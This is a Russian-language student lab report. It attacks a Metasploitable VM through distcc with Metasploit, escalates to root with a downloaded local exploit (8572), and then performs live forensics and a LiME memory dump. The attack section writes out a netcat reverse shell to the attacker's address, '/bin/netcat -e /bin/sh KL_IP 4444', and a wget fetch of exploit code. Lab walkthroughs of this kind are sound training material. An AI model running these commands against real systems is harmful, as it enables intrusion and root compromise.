**ФИО:** Степанищева Анастасия Андреевна

**Группа:** 11–902

**Тема:** Лабораторная работа №2. Использование DISTCC для получения прав root. Создание дампа памяти LiME и его анализ

**Содержание:**

1. Создание виртуальной машины Kali Linux и настройка сети с Metasploitable

2. Атака Metasploitable

3. Расширение прав доступа до root

4. Форензика

5. Создание дампа памяти с помощью LiME

6. Создание файлов для форензического анализа

7. Результат работы

**Отчет:**

**1. Создание виртуальной машины Kali Linux и настройка сети с Metasploitable**

Разворачиваем виртуальную машину с использованием образа системы kali-linux-2.0-amd64.iso, с указанными параметрами

Настраиваем сеть между Metasploitable и Kali Linux.(ifconfig –a KL\_IP, ifconfig –a MS\_IP)

**2. Атака Metasploitable**

Сканируем открытые порты (nmap -p 1-65535 -T4 -A –v MS\_IP 2>&1 | tee /var/tmp/scan.txt). distcc запущен на 3632 порту (grep 3632 /var/tmp/scan.txt)

Запускаем эксплоит в консоли Metasploit (use exploit/unix/misc/distcc\_exec)

Настраиваем дополнительный загрузчик. Для этого выбираем payload (set payload cmd/unix/bind\_ruby) и устанавливаем ip машины жертвы (MS\_IP) (set RHOST)

Запускаем команду exploit и получаем доступ к удаленной машине. Выводы команд не отображаются, нет root прав доступа.

**3. Расширение прав доступа до root**

Скачиваем и компилируем эксплоит exploit-8572(с его помощью можно подделывать сообщения протокола NETLINK 1.4.1). Примечание: ссылка на файл в инструкции нерабочая, меняем ее на актуальную.

1. wget –no-check-certificate http://www.computersecuritystudent.com/DOWNLOADS/8572 -O exploit-8572.c

2. gcc exploit-8572.c -o exploit-8572

В новой консоли создаем netcat сессию для удаленного управления (netcat -vip 4444). Создалось новое подключение, прослушивающее порт 4444

Создаем скрипт для предоставления консоли по netcat (echo '#!/bin/sh' > /tmp/run; echo '/bin/netcat -e /bin/sh KL\_IP 4444' >> /tmp/run;)

Запускаем эксплоит с имитацией pid родительского процесса (Для получения pid родительского процесса вычитаем единицу из pid менеджера устройств(ps -eaf | grep udev | grep -v grep))

В результате выполнения эксплоита, выполняется скрипт /tmp/run и для удаленной машины предоставляется консоль через netcat с правами root на 4444 порту

**4. Форензика**

Проводим анализ в консоли Metasploitable (атака в реальном времени)

1**. Выявляем аномальные активности, привязываем сетевые подключения к идентификаторам процессов**

Просматриваем раздел tcp соединений с прослушивающимися и установленными соединениями (netstat -noap | less). Присутствуют два неизвестных соединения с ip 192.168.31.201 на 4444 порту. За первое соединение отвечает процесс 5521 – выполнение shell (SH\_PID), за второй – 5487-выполнение ruby(Ruby\_PID)

Посмотрим, что выполняет процесс Ruby\_PID (ps -eaf | grep 5487 | grep -v grep): разворачивается tcp-сервер, пока соединение принимается, получаем сокет, из которого постоянно читаем строку и выполняем ее. (lsof | grep 4444) этот процесс запущен с правами демона

Посмотрим, что выполняет процесс shell: это обычный shell, запущенный скриптом tmp/run от процесса init с высшими привилегиями. Запущен с правами root

**2. Анализируем демона с RUBY\_PID (lsof –p 5487).** Необычная активность от Metasploitable до Kali Linux на порту 4444.

**3. Анализируем процесс SH\_PID netcat версии**

(lsof –p 5521). Root соединения от metasploitable до Kali Linux – не нормально

Выполним (ps -eaf | grep -v grep | grep PID) c PID родительского процесса SH\_PID и его самого и выведем содержимое скрипта(caat /tmp/run). Клиент netcat подключился к серверу 192.168.31.201:4444 и предоставил /bin/sh

**5. Создание дампа памяти с помощью LiME**

Создаем каталог distcc (makedir -p /var/www/distcc), меняем владельца (chown www-data:www-data/var/www/distcc) и права доступа (chmod 755 /var/www/distcc).

В каталоге /var/tmp/src создаем дамп оперативной памяти Metasploitable (insmod ./lime-2.6.24-16-server.ko "path=/var/www/distcc/distcc\_memory.lime format=lime")

**6. Создание файлов для форензического анализа**

Cохраняем

* Сведения о состоянии сетевых соединениях (netstat -naop > /var/www/distcc/distcc\_netstat.txt)
* Отчет о работающих процессах (ps -eaf > /var/www/distcc/distcc\_pseaf.txt)
* Информацию о том, какие файлы используются процессами (lsof > /var/www/distcc/distcc\_lsof.txt)

И архивируем все данные (tar zcvf /var/www/distcc/tmp.tar.gz /tmp)

В каталоге /var/www/distcc создаем MD5 хэш-сумм (md5sum \* | tee distcc\_md5.txt)

**7. Результат работы**

Выводим в консоль

1. date;
2. echo "Ф.И.О. проделавшего работу";
3. free –m;
4. du –sh /var/www/distcc/distcc\_memory.lime;
5. cat /var/www/distcc/distcc\_md5.txt

Изображение выглядит как текст

Автоматически созданное описание